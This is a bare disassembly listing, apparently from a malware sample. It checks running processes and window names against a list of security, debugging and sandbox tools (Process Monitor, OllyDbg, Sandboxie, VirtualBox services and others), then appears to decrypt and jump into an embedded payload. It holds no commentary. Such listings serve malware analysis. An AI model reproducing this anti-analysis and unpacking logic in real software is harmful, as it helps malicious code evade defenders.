call fcn.0040d130
mov ebp, dword [0x419864]
mov edx, str.taskmgr.exe
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419860]
call fcn.0040d130
mov ebp, dword [0x419864]
mov edx, str.procmon.exe
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419860]
call fcn.0040d130
mov ebp, dword [0x419864]
mov edx, str.vboxservice.exe
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419860]
call fcn.0040d130
mov ebp, dword [0x419864]
mov edx, str.vmacthlp.exe
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419860]
call fcn.0040d130
mov ebp, dword [0x419864]
mov edx, str.cmd.exe
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419868]
call fcn.0040d0c8
push 8
push 0x4111a0
lea eax, [0x419868]
push eax
push 4
call fcn.0040d017
push dword [0x419868]
call fcn.0040d130
mov ebp, dword [0x41986c]
mov edx, str.capturing_from
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419868]
call fcn.0040d130
mov ebp, dword [0x41986c]
mov edx, str.sysinternals
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419868]
call fcn.0040d130
mov ebp, dword [0x41986c]
mov edx, str.task_manager
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419868]
call fcn.0040d130
mov ebp, dword [0x41986c]
mov edx, str._______________
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419868]
call fcn.0040d130
mov ebp, dword [0x41986c]
mov edx, str.TCPViewClass
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419868]
call fcn.0040d130
mov ebp, dword [0x41986c]
mov edx, str.HTTP_Analyzer
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419868]
call fcn.0040d130
mov ebp, dword [0x41986c]
mov edx, str.comodo
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419868]
call fcn.0040d130
mov ebp, dword [0x41986c]
mov edx, str.cmd.exe
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419868]
call fcn.0040d130
mov ebp, dword [0x41986c]
mov edx, str.Process_Hacker
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419868]
call fcn.0040d130
mov ebp, dword [0x41986c]
mov edx, str.Sandboxie
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419868]
call fcn.0040d130
mov ebp, dword [0x41986c]
mov edx, str.Sandbox
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419868]
call fcn.0040d130
mov ebp, dword [0x41986c]
mov edx, str.Analyzer
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419868]
call fcn.0040d130
mov ebp, dword [0x41986c]
mov edx, str.ollydbg
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419868]
call fcn.0040d130
mov ebp, dword [0x41986c]
mov edx, str.detect_it_easy
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419868]
call fcn.0040d130
mov ebp, dword [0x41986c]
mov edx, str.Pe_tools
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419868]
call fcn.0040d130
mov ebp, dword [0x41986c]
mov edx, str.peid
lea ecx, [ebp + 8]
call fcn.0040c008
mov dword [0x419858], 0
call fcn.00404000
jmp 0x403958
mov ebp, 0x4187a8
mov ebx, ebp
mov ebp, 0x4155a8
sub ebx, ebp
mov dword [0x419840], ebx
push dword [0x419814]
push dword [0x419844]
push dword [0x419840]
mov ebp, 0x4155a8
push ebp
call fcn.0040ba0a
mov ebp, 0x4155a8
mov ebx, ebp
add ebx, 0xffffffed
mov dword [0x419850], ebx
push dword [0x419840]
add dword [0x419850], 0x13
push dword [0x419850]
call dword [0x419810]
jbe 0x403a28
push ebx
aaa
xor eax, 0x56644476
inc esi
push edi
je 0x403a16
ja 0x403a18
xor al, 0x35
xor eax, 0x5056644b
push esi
jbe 0x403a42
push edi
push esi
add byte [eax], ch
add byte [eax], al
add al, ch
adc eax, 0xe8000000
inc eax
mov cl, 0
add bh, bh
xor eax, 0x4197f8
call sub.KERNEL32.dll_HeapDestroy
call sub.KERNEL32.dll_ExitProcess
call fcn.0040c2ac
call fcn.0040c537
call fcn.0040d2c4
call fcn.0040d4d0
call fcn.0040c650
ret
int3
int3
int3
int3